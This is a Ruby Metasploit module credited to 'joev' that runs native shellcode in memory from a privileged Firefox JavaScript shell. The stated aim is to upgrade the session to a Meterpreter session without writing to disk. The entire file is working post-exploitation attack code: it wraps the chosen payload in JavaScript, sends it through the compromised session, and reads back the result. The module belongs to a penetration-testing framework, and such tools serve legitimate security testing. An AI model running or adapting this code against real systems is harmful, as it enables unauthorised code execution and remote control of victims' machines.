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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
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  include Msf::Payload::Firefox
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  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
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        'Description' => %q{
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          This module allows execution of native payloads from a privileged Firefox Javascript shell.
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          It places the specified payload into memory, adds the necessary protection flags,
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          and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
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          session without touching the disk.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'joev' ],
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        'Platform' => [ 'firefox' ],
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        'DisclosureDate' => '2014-03-10',
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        'Targets' => [
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          [
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            'Native Payload', {
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              'Platform' => %w[linux osx win unix],
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              'Arch' => ARCH_ALL
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            }
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          ]
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        ],
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        'Notes' => {
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'Stability' => [ CRASH_SAFE ],
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          'SideEffects' => [ IOC_IN_LOGS ]
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        },
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        'DefaultTarget' => 0
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      )
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    )
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    register_options([
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      OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
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    ])
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  end
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  def exploit
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    print_status('Running the JavaScript shell...')
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    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
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    results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT'])
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    print_warning(results) if results.present?
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  end
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  def js_payload
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    %|
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      (function(send){
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        try {
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          #{run_payload}
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          send("Payload executed.");
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        } catch (e) {
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          send(e);
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        }
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      })(send);
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    |.strip
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  end
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end
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